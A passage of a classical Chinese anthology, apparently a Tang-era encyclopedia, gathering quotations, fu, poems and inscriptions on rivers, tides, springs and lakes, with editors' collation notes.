及 其 谲 变 倏 恍 . 符 祥 非 一 . 动 应 无 方 . 感 事 而 出 . 经 纪 天 地 . 错 综 人 术 . 妙 不 可 尽 之 于 言 . 事 不 可 穷 之 于 笔 .\n晋 庾 阐 涉 江 赋 曰 . 发 中 州 之 曲 泫 . 背 石 头 之 岩 岨 . 溯 晨 风 而 遥 迈 . 乘 涛 波 而 容 与 . 于 是 时 也 . 夕 日 将 昏 . 天 吴 骇 奔 . 阳 侯 漂 海 . 若 泛 江 豚 . 尔 乃 云 雾 勃 起 . 风 流 溷 淆 . 排 岩 拒 濑 . 触 石 兴 涛 . 澎 湃 洗 . 郁 怒 咆 哮 . 回 连 波 以 岳 坠 . 壑 后 土 而 川 窅 . 总 百 川 之 殊 势 . 集 朝 宗 乎 沧 浪 . 注 天 波 于 析 木 . 潋 东 极 乎 扶 桑 . 体 含 弘 而 弥 泰 . 道 谦 尊 而 逾 光 . 齐 山 海 以 比 量 . 冠 百 谷 而 称 王 . 此 则 水 之 势 也 . 且 夫 山 川 瑰 怪 . 水 物 含 灵 . 鳞 千 其 族 . 羽 万 其 名 . 毛 群 诡 观 . 类 殊 形 . 明 月 晞 光 以 夕 耀 . 金 沙 逐 波 而 吐 锳 . 抚 楫 中 流 . 汨 徂 西 土 . 过 乎 历 阳 之 津 . 迄 乎 横 江 之 浦 . 若 乃 越 三 江 之 下 口 . 眇 濡 须 以 迳 渡 . 邈 天 险 之 遐 势 . 历 习 坎 之 重 固 . 川 渎 泓 澄 以 含 景 . 山 水 ● ● ○ 原 讹 ● . 据 冯 校 本 改 . 而 鳞 布 .\n晋 曹 毗 涉 江 赋 曰 . 迄 赵 屯 . 历 彭 川 . 脩 岸 靡 靡 . 莞 苇 芊 芊 . 紫 莲 被 翠 波 而 抗 英 . 碧 椹 乘 天 岸 而 星 悬 . 百 籁 夕 奏 . 山 精 夜 燃 . 狂 飙 萧 瑟 以 洞 骇 . 洪 涛 突 兀 而 横 峙 . 尔 乃 江 狶 彭 濞 . 夜 火 辉 焕 . 凌 错 吐 飙 . 骇 鲸 喷 澜 . 采 蜂 于 是 泛 波 . 文 鱼 于 是 登 岸 .\n【 歌 】 晋 夏 侯 湛 江 上 泛 歌 曰 . 悠 悠 兮 远 征 . 倏 倏 兮 暨\n南 荆 . 南 荆 兮 临 长 江 . 临 江 河 兮 讨 不 庭 . 江 水 兮 浩 浩 .\n长 流 兮 万 里 . 洪 浪 兮 云 转 . 阳 侯 兮 奔 起 . 惊 翼 兮 垂 天 .\n鲸 鱼 兮 岳 跱 . 蘪 芜 纷 兮 被 皋 陆 . 脩 竹 郁 兮 翳 崖 趾 . 望 江\n之 南 兮 遨 目 桂 林 . 桂 林 蓊 郁 兮 鹍 鸡 扬 音 . 凌 波 兮 愿 济 .\n舟 楫 不 具 兮 江 水 深 沈 . 嗟 回 盻 于 北 夏 . 何 归 轸 之 难 寻 .\n毛 诗 曰 . 率 彼 淮 浦 . 省 此 徐 土 .\n水 经 曰 . 淮 水 出 南 阳 平 氏 县 昭 稽 山 . 东 北 过 桐 柏 山 .\n山 海 经 曰 . 淮 水 出 余 山 . 山 在 朝 阳 义 乡 西 . 入 海 .\n【 赋 】 魏 文 帝 浮 淮 赋 曰 . 建 安 十 四 年 . 师 自 谯 东 征 . 大 兴 水 军 . 泛 舟 万 艘 . 虽 孝 武 舳 舻 千 里 . 殆 不 过 也 . 溯 淮 水 而 南 迈 . 泛 洪 潭 之 皇 波 . 仰 岩 岗 之 隆 阻 . 经 东 山 之 曲 阿 . 于 是 惊 风 泛 . 涌 波 骇 . 众 帆 张 . 群 棹 起 . 争 先 逐 进 . 莫 过 ○ 疑 涉 下 适 字 衍 . 适 相 待 .\n魏 王 粲 浮 淮 赋 曰 . 从 王 师 以 南 征 . 浮 淮 水 而 遐 逝 . 背\n涡 浦 之 曲 流 . 望 马 丘 之 高 澨 . 于 是 迅 风 兴 . 涛 波 动 . 长\n濑 潭 渨 . 滂 沛 猪 溶 .\n尚 书 禹 贡 曰 . 嶓 冢 道 漾 . 东 流 为 汉 .\n毛 诗 曰 . 汉 广 . 德 广 所 及 也 . 文 王 之 化 . 被 乎 南 国 . 美 化 行 于 江 汉 之 域 . 汉 有 游 女 . 不 可 求 思 .\n左 氏 传 曰 . 屈 完 谓 齐 桓 公 曰 . 楚 国 方 城 以 为 城 . 汉 水 以 为 池 .\n【 诗 】 梁 简 文 帝 玩 汉 水 诗 曰 . 杂 色 昆 仑 水 . 泓 澄 龙 首 渠 . 岂 若 兹 川 丽 . 清 流 疾 且 徐 . 离 离 细 碛 净 . 蔼 蔼 树 阴 疏 . 石 衣 随 溜 卷 . 水 芝 扶 浪 舒 . 连 翩 写 去 楫 . 镜 澈 倒 遥 墟 . 聊 持 点 缨 上 . 于 是 察 川 鱼 .\n【 赋 】 后 汉 蔡 邕 汉 津 赋 曰 . 夫 何 大 川 之 浩 浩 . 披 厚 土\n以 载 形 . 纳 阳 谷 之 所 吐 . 兼 汉 沔 之 殊 名 . 总 畎 浍 之 群 液\n. 演 西 土 之 阴 精 . 过 曼 山 以 左 回 . 游 襄 阳 而 南 萦 . 于 是\n游 目 骋 观 . 南 援 三 州 . 北 集 京 都 . 上 控 陇 坻 . 下 接 江 湖\n. 导 财 运 货 . 懋 迁 有 无 . 既 乃 风 焱 萧 瑟 . 勃 焉 并 兴 . 阳\n侯 沛 以 奔 骛 . 洪 涛 涌 以 沸 腾 . 愿 乘 流 以 上 下 . 穷 沧 浪 乎\n三 澨 . 观 固 宗 之 形 兆 . 看 洞 庭 之 交 会 .\n易 曰 . 河 出 图 . 雒 出 书 . 圣 人 则 之 .\n尚 书 曰 . 道 洛 自 熊 耳 . 东 北 会 于 涧 瀍 .\n国 语 曰 . 灵 王 二 十 二 年 . 谷 洛 龙 斗 . 将 毁 宫 室 . 王 欲 壅 之 . 太 子 晋 曰 . 夫 山 . 土 之 聚 也 . 薮 . 物 之 归 也 . 川 . 气 之 导 也 . 泽 . 水 之 钟 也 . 夫 水 聚 于 高 . 归 于 下 . 今 吾 执 政 . 无 乃 实 所 僻 . 而 祸 夫 二 川 之 神 . 王 卒 壅 之 . 王 室 大 乱 .\n淮 南 子 曰 . 雒 水 轻 利 宜 禾 .\n谢 承 后 汉 书 曰 . 沛 国 陈 宣 . 建 武 十 年 . 雒 水 出 . 造 天 津 城 门 . 或 欲 筑 塞 之 . 宣 谏 曰 . 昔 王 尊 正 身 . 金 堤 水 退 . 况 圣 人 耶 . 言 未 绝 而 水 去 .\n汉 官 典 职 曰 . 德 阳 殿 . 周 游 容 万 人 . 自 偃 师 去 宫 四 十 五 里 . 激 洛 水 于 殿 下 .\n【 诗 】 太 宗 皇 帝 临 洛 水 诗 曰 . 春 搜 驰 骏 骨 . 总 辔 俯 长 河 . 霞 处 流 萦 锦 . 风 前 瀁 卷 罗 . 水 花 翻 照 树 . 堤 兰 倒 插 波 . 岂 必 汾 阴 曲 . 秋 云 发 桌 歌 .\n苏 味 道 和 受 图 温 洛 诗 曰 . 绿 绮 膺 河 检 . 青 坛 俯 洛 滨 . 天 旋 俄 制 跸 . 孝 享 属 严 禋 . 陟 配 光 三 祖 . 怀 柔 洎 百 神 . 雾 开 中 道 日 . 雪 敛 属 车 尘 . 预 奉 咸 英 奏 . 长 歌 亿 万 春 .\n李 峤 和 拜 洛 诗 曰 . 七 萃 銮 舆 动 . 千 年 瑞 检 开 . 文 如 龟 贝 出 . 图 似 凤 衔 来 . 殷 荐 三 神 享 . 明 祠 万 国 陪 . 周 旗 黄 鸟 集 . 汉 幄 紫 云 回 . 日 暮 钩 陈 转 . 清 歌 上 帝 台 .\n牛 凤 及 和 受 图 温 洛 诗 曰 . 八 神 承 玉 辇 . 六 羽 惊 瑶 溪 . 戒 道 伊 川 北 . 通 旌 涧 水 西 . 御 图 开 洛 匮 . 刻 石 与 天 齐 . 瑞 日 波 中 上 . 仙 禽 雾 里 低 . 微 臣 矫 弱 翮 . 抃 舞 接 鸾 鹥 .\n【 赋 】 魏 曹 子 建 洛 神 赋 曰 . 余 从 京 域 . 言 归 东 藩 . 背\n伊 阙 . 越 轘 辕 . 经 通 谷 . 凌 景 山 . 容 与 乎 阳 林 . 流 眄 乎\n洛 川 . 睹 一 丽 人 . 于 岩 之 畔 . 乃 援 御 者 而 告 之 曰 . 彼 何\n人 斯 . 若 斯 之 艳 也 . 御 者 对 曰 . 臣 闻 河 洛 之 神 . 名 曰 虙\n妃 . 君 王 所 见 . 无 乃 是 乎 . 余 告 曰 . 其 形 也 . 翩 若 惊 鸿\n. 婉 若 游 龙 . 髣 佛 兮 若 轻 云 之 蔽 月 . 飘 飖 兮 若 流 风 之 回\n雪 . 于 是 忽 焉 纵 体 . 以 游 以 嬉 . 左 倚 采 旄 . 右 荫 桂 旗 .\n攘 皓 腕 于 神 浒 . 采 湍 濑 之 玄 芝 . 收 和 颜 而 静 志 兮 . 申 礼\n防 以 自 持 . 尔 乃 众 灵 杂 遝 . 命 俦 啸 侣 . 或 戏 清 流 . 或 翔\n神 渚 . 或 采 明 珠 . 或 拾 翠 羽 . 从 南 湘 之 二 妃 . 携 汉 滨 之\n游 女 . 体 迅 飞 凫 . 飘 忽 若 神 . 凌 波 微 步 . 罗 袜 生 尘 . 于\n是 屏 翳 收 风 . 川 后 静 波 . 冯 夷 鸣 鼓 . 女 娲 清 歌 . 腾 文 鱼\n以 警 乘 . 鸣 玉 銮 以 偕 逝 . 六 龙 俨 其 齐 首 . 载 云 车 之 容 裔\n.\n列 子 曰 . 渤 海 之 东 . 不 知 几 亿 万 里 . 有 大 壑 . 实 惟 无 底 之 谷 .\n庄 子 曰 . 谆 芒 东 之 大 壑 . 遇 苑 风 于 东 海 滨 . 苑 风 曰 . 子 将 之 大 壑 奚 为 . 夫 壑 之 为 物 . 注 焉 而 不 满 . 取 焉 而 不 竭 . 又 曰 . 藏 舟 于 壑 . 藏 山 于 泽 . 谓 之 固 矣 . 然 而 夜 半 有 力 者 负 之 而 走 . 昧 者 不 知 也 .\n离 骚 曰 . 降 望 大 壑 .\n【 赋 】 梁 简 文 帝 大 壑 赋 曰 . 渤 海 之 东 . 不 知 几 亿 . 大\n壑 在 焉 . 其 深 无 极 . 悠 悠 既 凑 . 滔 滔 不 息 . 观 其 浸 受 .\n壮 其 吞 匿 . 历 详 众 水 . 异 导 殊 名 . 江 出 濯 锦 . 汉 吐 珠 锳\n. 海 逢 时 而 不 涌 . 河 遇 圣 而 知 清 . 嗟 乎 . 使 夫 怀 山 之 水\n积 . 天 汉 之 流 驶 . 彭 潜 与 渭 湿 俱 臻 . 四 渎 与 九 河 同 至 .\n余 乃 知 巨 壑 之 难 满 . 尾 闾 之 为 异 .\n桓 谭 新 论 曰 . 四 渎 之 源 . 最 高 而 长 . 从 高 注 下 . 其 流 激 浚 . 故 为 平 地 灾 害 .\n博 物 志 曰 . 四 渎 . 济 出 王 屋 山 . 其 江 河 淮 所 出 . 已 具 别 卷 .\n【 碑 】 周 王 褒 四 渎 祠 碑 铭 曰 . 灵 祠 岳 立 . 贝 关 云 浮 .\n寂 寥 诡 怪 . 髣 髣 神 游 . 姬 嬴 分 国 . 河 渭 合 流 . 桃 花 春 水\n. 灵 草 孤 洲 . 潼 乡 河 曲 . 汾 阴 壤 . 乱 流 不 度 . 龙 门 难\n上 . 河 鱼 送 迎 . 江 妃 来 往 . 水 开 通 迹 . 山 临 高 掌 . 智 以\n藏 往 . 神 以 知 来 . 荣 光 离 合 . 云 气 徘 徊 . 水 仙 遗 操 . 津\n吏 余 杯 . 波 息 川 后 . 浪 靖 澹 台 .\n吴 越 春 秋 曰 . 吴 王 赐 子 胥 剑 . 遂 伏 剑 而 死 . 吴 王 乃 取 子 胥 之 尸 . 盛 以 鸱 夷 之 器 . 投 之 江 海 . 子 胥 因 随 流 扬 波 . 成 涛 激 岸 . 随 潮 来 往 .\n论 衡 曰 . 儒 书 言 . 吴 王 夫 差 杀 伍 子 胥 . 煮 之 于 镬 . 盛 以 囊 . 投 之 于 江 . 子 胥 恚 恨 . 临 水 为 涛 . 溺 杀 人 . 夫 言 吴 王 杀 伍 子 胥 投 之 于 江 . 实 也 . 言 其 恨 恚 . 临 水 为 涛 者 . 虚 也 . 卫 菹 子 路 而 汉 烹 彭 越 . 子 胥 勇 猛 . 不 过 子 路 彭 越 . 然 二 士 不 能 发 怒 于 鼎 镬 之 中 . 子 胥 亦 然 . 自 先 入 鼎 镬 . 后 乃 入 江 . 在 镬 之 时 . 其 神 岂 怯 . 而 勇 于 江 水 哉 . 何 其 怒 气 前 后 不 相 副 也 .\n博 物 志 曰 . 东 海 中 有 牛 鱼 . 其 形 如 牛 . 剥 其 皮 悬 之 . 潮 水 至 则 毛 起 . 潮 去 则 伏 .\n【 诗 】 晋 苏 彦 于 西 陵 观 涛 诗 曰 . 洪 涛 奔 逸 势 . 骇 浪 驾 丘 山 . 訇 隐 振 宇 宙 . 漰 磕 津 云 连 .\n梁 徐 昉 赋 得 观 涛 诗 曰 . 云 容 杂 浪 起 . 楚 水 漫 吴 流 . 渐 看 遥 树 没 . 稍 见 远 天 浮 . 渔 人 迷 旧 浦 . 海 鸟 失 前 洲 . 不 测 沧 溟 旷 . 轻 鳞 幸 自 游 .\n【 赋 】 晋 顾 恺 之 观 涛 赋 曰 . 临 浙 江 以 北 眷 . 壮 沧 海 之 宏 流 . 水 无 涯 而 合 岸 . 山 孤 映 而 若 浮 . 既 藏 珍 而 纳 景 . 且 激 波 而 扬 涛 . 其 中 则 有 珊 瑚 明 月 . 石 帆 瑶 锳 . 雕 鳞 采 介 . 特 种 奇 名 . 崩 峦 填 壑 . 倾 堆 渐 隅 . 岑 有 积 螺 . 岭 有 悬 鱼 . 谟 兹 涛 之 为 体 . 亦 崇 广 而 宏 浚 . 形 无 常 而 参 神 . 斯 必 来 以 知 信 . 势 刚 凌 以 周 威 . 质 柔 弱 以 协 顺 .\n晋 曹 毗 观 涛 赋 曰 . 伊 山 水 之 辽 迥 . 何 秋 月 之 凄 清 . 瞻 沧 津 之 腾 起 . 观 云 涛 之 来 征 . 尔 其 势 也 . 发 源 溟 池 . 回 冲 天 井 . 洒 拂 仓 汉 . 遥 栎 星 景 . 伍 子 结 誓 于 阴 府 . 洪 湍 应 期 而 来 骋 . 汩 如 八 风 俱 臻 . 隗 若 昆 仑 抗 岭 .\n晋 伏 滔 望 涛 赋 曰 . 若 夫 金 祇 理 辔 . 素 月 告 望 . 宏 涛 于\n是 郁 起 . 重 流 于 是 电 骧 . 起 沙 渟 而 迅 迈 . 触 横 门 而 克 壮\n. 灌 江 津 而 砰 磕 . 鼓 赤 岸 而 激 扬 . 郁 律 烟 腾 . 隗 兀 连 岗\n. 重 叠 巘 而 天 竦 . 洄 湍 澼 而 起 涨 .\n论 语 撰 考 谶 曰 . 水 名 盗 泉 . 仲 尼 不 嗽 .\n吕 氏 春 秋 曰 . 太 公 钓 于 滋 泉 .\n淮 南 子 曰 . 昆 仑 四 水 者 . 帝 之 神 泉 . 以 和 百 药 . 以 润 万 物 .\n东 观 汉 记 曰 . 耿 恭 为 校 尉 . 居 疏 勒 . 匈 奴 来 攻 . 城 中 穿 井 十 五 丈 无 水 . 恭 曰 . 闻 二 师 将 军 . 拔 佩 刀 刺 山 . 而 飞 泉 出 . 今 汉 德 神 灵 . 岂 有 穷 乎 . 乃 正 衣 服 . 向 井 拜 . 为 吏 请 祷 . 有 顷 . 井 泉 濆 出 .\n应 劭 汉 官 仪 曰 . 酒 泉 城 下 有 金 泉 . 泉 味 如 酒 . 故 曰 酒 泉 .\n吴 郡 录 曰 . 始 兴 有 始 兴 山 . 山 出 温 泉 .\n天 门 零 县 有 温 泉 . 丹 阳 江 乘 县 有 汤 山 . 出 温 泉 . 二 所 可 以 治 ○ 太 平 御 览 七 十 一 作 瀹 . 鸡 .\n广 志 曰 . 温 泉 . 西 者 在 新 丰 . 北 者 在 广 平 . 有 美 泉 出 . 溉 种 . 出 谷 香 美 . 在 汲 郡 . 新 成 县 有 泠 泉 . 水 冷 如 冰 . 在 湖 县 有 盐 泉 . 煮 则 为 盐 . 有 醴 泉 . 用 之 愈 疾 .\n晋 安 帝 纪 曰 . 吴 隐 之 性 廉 操 . 为 广 州 刺 史 . 界 有 一 水 . 谓 之 贪 泉 . 古 老 云 . 饮 此 水 者 . 廉 士 皆 贪 . 隐 之 始 践 境 . 先 至 水 所 . 酌 而 饮 之 . 因 赋 诗 以 言 志 . 若 使 夷 齐 饮 . 终 当 不 易 心 . 清 操 逾 厉 .\n宣 城 记 曰 . 临 城 县 南 四 十 里 . 有 盖 山 . 百 许 步 有 姑 舒 ○ 文 选 注 四 十 三 . 初 学 记 八 . 太 平 御 览 七 十 作 舒 姑 . 此 倒 . 泉 . 昔 有 舒 女 . 与 其 父 析 薪 于 此 泉 . 女 因 坐 . 牵 挽 不 动 . 乃 还 告 家 . 比 还 . 唯 见 清 泉 湛 然 . 女 母 曰 . 吾 女 好 音 乐 . 乃 作 弦 歌 . 泉 涌 洄 流 . 有 朱 鲤 一 双 . 令 ○ 文 选 注 作 今 . 御 览 同 . 人 作 乐 嬉 戏 . 泉 故 涌 出 .\n汉 水 记 曰 . 汉 水 有 温 泉 . 方 圆 数 十 步 . 冬 夏 常 沸 涌 . 望 见 白 气 冲 天 . 能 差 百 病 .\n江 乘 地 记 曰 . 东 南 三 十 五 里 . 有 半 汤 泉 . 半 冷 半 温 . 共 同 一 壑 .\n盛 弘 之 荆 州 记 曰 . 新 阳 县 惠 泽 中 . 有 温 泉 . 冬 月 . 未 至 数 里 . 遥 望 白 气 . 浮 蒸 如 烟 . 上 下 采 映 . 状 若 绮 疏 . 又 有 车 轮 双 辕 形 . 世 传 昔 有 玉 女 乘 车 . 自 投 此 泉 . 今 人 时 见 女 子 . 姿 仪 光 丽 . 往 来 倏 忽 .\n又 曰 . 夷 道 县 句 将 山 下 . 有 三 泉 . 传 云 . 本 无 此 泉 . 居 者 皆 苦 远 汲 . 人 人 多 卖 水 与 之 . 有 一 女 子 . 孤 贫 豚 缕 . 无 以 贸 易 . 有 一 乞 人 . 衣 貌 丑 . 疮 痍 竟 体 . 村 人 见 之 . 无 不 秽 恶 . 唯 女 子 独 加 哀 矜 . 割 饭 饴 之 . 乞 人 食 毕 曰 . 我 感 妪 行 善 . 欲 思 相 报 . 为 何 所 须 . 女 答 曰 . 何 恩 可 报 . 且 今 所 须 之 物 . 非 君 能 得 . 因 问 所 须 . 女 子 曰 . 正 愿 此 山 下 有 水 可 汲 . 乞 人 乃 取 腰 中 书 刀 . 刺 山 下 三 处 . 即 飞 泉 涌 出 . 因 便 辞 去 . 忽 然 不 见 .\n括 地 图 曰 . 负 丘 之 山 . 上 有 赤 泉 . 饮 之 不 老 . 神 宫 有 英 泉 . 饮 之 . 眠 三 百 岁 乃 觉 . 不 知 死 .\n十 洲 记 曰 . 瀛 洲 有 玉 膏 . 山 出 泉 如 酒 味 . 名 为 玉 酒 .\n【 诗 】 北 齐 刘 逖 浴 汤 泉 诗 曰 . 骊 岫 犹 怀 玉 . 新 丰 尚 有 家 . 神 井 堪 销 疹 . 温 泉 足 荡 邪 . 紫 苔 生 石 岸 . 黄 沫 拥 金 沙 . 振 衣 殊 未 已 . 然 停 使 车 .\n【 赋 】 后 汉 张 衡 温 泉 赋 曰 . 阳 春 之 月 . 百 草 萋 萋 . 余 在 远 行 . 愿 望 有 怀 . 遂 适 骊 山 . 观 温 泉 . 浴 神 井 . 风 中 峦 . 壮 厥 类 之 独 美 . 思 在 化 之 所 原 . 览 中 域 之 珍 . ○ 初 学 记 七 珍 下 有 怪 字 . 此 脱 . 无 斯 水 之 神 灵 . 控 汤 谷 于 瀛 洲 . 濯 日 月 乎 中 营 . 荫 高 山 之 北 延 . 处 幽 屏 以 闲 清 . 于 是 殊 方 交 涉 . 骏 奔 来 臻 . 士 女 晔 其 鳞 萃 . 纷 杂 遝 其 如 絪 .\n晋 傅 咸 神 泉 赋 序 曰 . 余 所 居 庭 前 . 有 涌 泉 . 在 夏 则 冷 . 涉 冬 而 温 . 温 则 水 物 冬 生 . 冷 则 冰 可 以 过 . 每 夏 游 之 . 不 知 岁 之 有 暑 耳 . 惟 兹 神 泉 . 厥 理 难 原 . 在 冬 则 温 . 既 夏 而 寒 . 混 混 洋 洋 . 载 清 载 澜 . 遂 乃 ● 以 文 石 . 树 之 柳 杞 . 密 叶 云 覆 . 重 荫 蔽 沚 . 气 泠 泠 以 含 凉 . 风 肃 肃 而 恒 起 . 于 时 朱 明 纪 运 . 旭 日 驰 光 . 郁 郁 隆 暑 . 赫 赫 太 阳 . ● ○ 全 晋 文 五 十 一 作 盥 . 玉 体 于 素 波 . 身 凄 焉 而 自 清 . 不 知 天 时 之 有 暑 . 忽 谓 繁 霜 之 陨 庭 . 逮 至 旻 秋 既 逝 . 司 寒 骋 节 . 六 合 萧 条 . 严 风 凛 冽 . 河 洛 辍 流 . 太 阴 凝 结 . 彼 溰 溰 而 含 冻 . 此 灼 灼 而 含 热 . 绿 竹 猗 猗 . 荇 藻 青 青 . 是 托 斯 茂 . 是 殖 斯 荣 .\n【 碑 】 周 王 褒 温 汤 碑 曰 . 原 夫 二 仪 开 辟 . 雷 风 以 之 通 响 . 五 材 运 行 . 水 火 因 而 并 用 . 炎 上 作 苦 . 既 丽 纯 阳 之 德 . 润 下 作 咸 . 且 协 凝 阴 之 度 . 至 于 迁 陵 热 溪 . 沉 鱼 涌 浪 . 炎 洲 烧 地 . 穴 鼠 含 烟 . 火 井 飞 泉 . 垂 天 远 扇 . 焦 源 沸 水 . 冲 流 迸 集 . 甘 川 浴 日 . 跳 波 迈 椒 丘 之 野 . 汤 谷 扬 涛 . 激 水 疾 龙 门 之 箭 . 故 以 地 伏 流 黄 . 神 泉 愈 疾 云 云 . 其 铭 曰 . 挺 此 温 谷 . 骊 岳 之 阴 . 白 矾 上 彻 . 丹 沙 下 沉 . 华 清 驻 老 . 飞 流 莹 心 . 谷 神 不 死 . 川 德 愈 深 .\n周 庾 信 温 汤 碑 曰 . 咸 池 浴 日 . 先 应 绿 甲 之 图 . 砥 柱 浮\n天 . 始 受 玄 夷 之 命 . 仁 则 涤 荡 埃 氛 . 义 则 激 扬 清 浊 . 勇\n则 负 山 余 力 . 弱 则 鸿 毛 不 胜 . 仲 春 则 榆 荚 同 流 . 三 月 则\n桃 花 共 下 . 其 色 变 者 . 流 为 五 云 之 浆 . 其 味 美 者 . 结 为\n三 危 之 露 . 烟 青 于 铜 浦 . 色 白 于 铅 溪 . 非 神 鼎 而 长 沸 .\n异 龙 池 而 独 涌 . 洒 胃 湔 肠 . 兴 羸 起 瘠 . 秦 皇 余 石 . 仍 为\n雁 齿 之 阶 . 汉 武 旧 陶 . 即 用 鱼 鳞 之 瓦 . 山 闲 涌 水 . 实 表\n忠 诚 . 室 内 江 流 . 弥 彰 纯 孝 . 岂 若 醴 泉 消 疾 . 闻 乎 建 武\n之 朝 . 神 水 蠲 痾 . 在 乎 咸 康 之 世 . 嵩 岳 三 仙 之 馆 . 不 孤\n擅 于 天 池 . 华 阴 百 丈 之 泉 . 岂 独 高 于 莲 井 .\n越 绝 书 曰 . 大 湖 周 三 万 六 千 顷 .\n神 异 经 曰 . 北 方 荒 外 有 石 湖 . 其 水 冰 .\n淮 南 子 曰 . 夫 历 阳 之 都 . 一 夕 反 而 为 湖 . 历 阳 . 淮 南 国 名 . 昔 有 老 妪 . 常 行 仁 义 . 有 两 书 生 过 之 . 谓 曰 . 此 国 当 没 为 湖 . 视 东 城 门 阃 有 血 . 便 走 上 山 . 勿 反 顾 也 . 自 尔 . 此 妪 数 往 视 门 阃 . 吏 问 之 . 姥 对 如 其 言 . 暮 . 门 吏 杀 鸡 . 以 血 涂 门 . 明 日 . 妪 早 往 视 . 门 血 . 便 走 上 山 . 国 没 为 湖 .\n风 俗 通 曰 . 越 灭 吴 . 范 蠡 乘 舟 于 五 湖 .\n语 林 曰 . 褚 公 与 孙 绰 游 曲 阿 后 湖 . 狂 风 忽 起 . 舫 欲 倾 . 诸 公 已 醉 . 乃 曰 . 此 舫 人 皆 无 可 以 招 天 谴 者 . 唯 有 兴 公 多 尘 滓 . 正 当 以 厌 天 欲 耳 . 便 欲 捉 掷 水 中 . 孙 遽 无 计 . 唯 大 啼 曰 . 季 野 . 卿 念 我 .\n述 异 记 曰 . 桓 冲 为 江 州 刺 史 . 乃 遣 人 周 行 庐 山 . 冀 睹 灵 异 . 既 陟 崇 巘 . 有 一 湖 . 匝 生 桑 树 . 有 大 群 白 鹅 . 湖 中 有 败 艑 赤 鳞 鱼 .\n刘 道 真 钱 塘 记 曰 . 明 圣 湖 在 县 南 . 去 县 三 里 . 父 老 相 传 . 湖 有 金 牛 .\n郑 缉 之 东 阳 记 曰 . 北 山 有 湖 . 故 老 相 传 云 . 其 下 有 居 民 曰 徐 公 者 . 常 登 岭 至 此 处 . 见 湖 水 湛 然 . 有 二 人 共 博 于 湖 间 . 自 称 赤 松 子 安 期 先 生 . 有 一 壶 酒 . 因 酌 以 饮 徐 公 . 徐 公 醉 而 寐 其 侧 . 比 醒 . 不 复 见 二 人 . 而 宿 草 攒 蔓 其 上 . 家 人 以 为 死 也 . 丧 服 三 年 . 服 竟 . 徐 公 方 反 . 今 其 处 犹 为 徐 公 湖 .\n裴 氏 广 州 记 曰 . 庐 山 顶 有 湖 . 广 数 顷 . 有 杨 梅 山 桃 . 止 得 于 上 饱 啖 . 不 得 持 去 .\n秦 州 记 曰 . 武 都 山 前 有 湖 . 冬 夏 无 增 减 . 义 熙 初 . 有 白 龙 于 此 湖 升 天 .\n邓 德 明 南 康 记 曰 . 平 固 县 覆 笥 山 上 . 有 太 湖 . 周 数 十 里 . 灵 果 异 物 . 皆 不 可 识 . 又 有 石 雁 . 浮 在 湖 中 . 每 至 秋 天 . 石 雁 飞 鸣 . 如 候 时 也 .\n风 土 记 曰 . 阳 羡 县 东 . 有 太 湖 . 中 有 包 山 . 山 下 有 洞 穴 . 潜 行 地 中 . 云 无 所 不 通 . 谓 之 洞 庭 地 脉 也 .\n荆 山 记 曰 . 巴 陵 南 有 青 草 湖 . 周 回 百 里 . 日 月 出 没 其 中 . 湖 南 有 青 草 山 . 故 因 为 名 .\n【 诗 】 晋 李 颙 涉 湖 诗 曰 . 旋 经 义 兴 境 . 弭 桌 石 兰 渚 . 震 泽 为 何 在 . 今 唯 大 湖 浦 . 圆 径 萦 五 百 . 眇 目 缅 无 睹 . 高 天 淼 若 岸 . 长 津 杂 如 缕 .\n宋 孝 武 济 曲 阿 后 湖 诗 曰 . 宵 登 毗 陵 路 . 旦 过 云 阳 郛 . 平 湖 旷 津 济 . 菰 渚 迭 明 芜 . 和 风 翼 归 采 . 夕 氛 晦 山 嵎 . 惊 澜 鱼 藻 . 赪 霞 照 桑 榆 .\n宋 谢 灵 运 石 壁 还 湖 中 作 诗 曰 . 昏 旦 变 气 候 . 山 水 含 清 晖 . 清 晖 能 娱 人 . 游 子 憺 忘 归 . 出 谷 日 尚 早 . 入 舟 阳 已 微 . 林 壑 敛 暝 色 . 云 霞 收 夕 霏 . 芰 荷 迭 映 暧 . 蒲 稗 相 因 依 . 披 拂 趍 南 迳 . 愉 悦 偃 东 扉 .\n宋 谢 惠 连 泛 南 湖 至 石 帆 诗 曰 . 轨 息 陆 涂 初 . 枻 鼓 川 路 始 . 涟 漪 繁 波 漾 . 参 差 层 峰 跱 . 萧 疏 野 趣 生 . 逶 迤 白 云 起 . 登 陟 苦 跋 涉 . 盼 乐 心 耳 . 即 玩 玩 有 竭 . 在 兴 兴 无 已 .\n梁 元 帝 泛 芜 湖 诗 曰 . 桂 潭 连 菊 岸 . 桃 李 夹 成 蹊 . 石 文 如 濯 锦 . 云 飞 似 散 珪 . 桡 度 菱 根 反 . 船 去 荇 枝 ● . 颿 随 迎 雨 鷰 . 鼓 逐 伺 潮 鸡 .\n梁 范 云 治 西 湖 诗 曰 . 史 氏 导 漳 水 . 西 门 溉 河 潮 . 图 始 未 能 悦 . 克 终 良 可 要 . 拥 锸 劝 年 首 . 提 爵 劳 春 朝 . 平 皋 草 色 嫩 . 通 林 鸟 声 娇 . 已 集 故 池 鹜 . 行 莳 新 田 苗 . 何 吁 畚 筑 苦 . 方 欢 鱼 稻 饶 .\n陈 阴 铿 渡 青 草 湖 诗 曰 . 洞 庭 春 溜 满 . 平 湖 锦 帆 张 . 源 水 桃 花 色 . 湘 流 杜 若 香 . 穴 去 茅 山 近 . 江 连 巫 峡 长 . 带 天 澄 迥 碧 . 映 日 动 浮 光 . 行 舟 逗 远 树 . 渡 鸟 息 危 樯 . 滔 滔 不 可 测 . 一 讵 能 航 .\n陈 刘 删 泛 宫 亭 湖 诗 曰 . 回 舻 乘 泒 水 . 举 帆 逐 分 风 . 滉 瀁 疑 无 际 . 飘 扬 似 度 空 . 樯 乌 排 鸟 路 . 船 影 没 河 宫 . 孤 石 沧 波 里 . 匡 山 苦 雾 中 . 寄 言 千 金 子 . 安 知 万 里 蓬 .\n【 赋 】 吴 杨 泉 五 湖 赋 曰 . 乃 天 地 之 玄 源 . 阴 阳 之 所 徂\n. 上 值 箕 斗 之 精 . 与 云 汉 乎 同 模 . 受 三 方 之 灌 溉 . 为 百\n川 之 巨 都 . 居 杨 州 之 大 泽 . 苞 吴 越 之 具 区 . 南 与 长 江 分\n体 . 东 与 巨 海 合 流 . 太 阴 之 所 毖 . 玄 灵 之 所 游 . 追 湖 水\n而 往 还 . 通 蓬 莱 与 瀛 洲 . 尔 乃 详 观 其 广 深 之 所 极 . 延 袤\n之 规 方 . 邈 乎 浩 浩 . 漫 乎 洋 洋 . 西 合 乎 濛 汜 . 东 苞 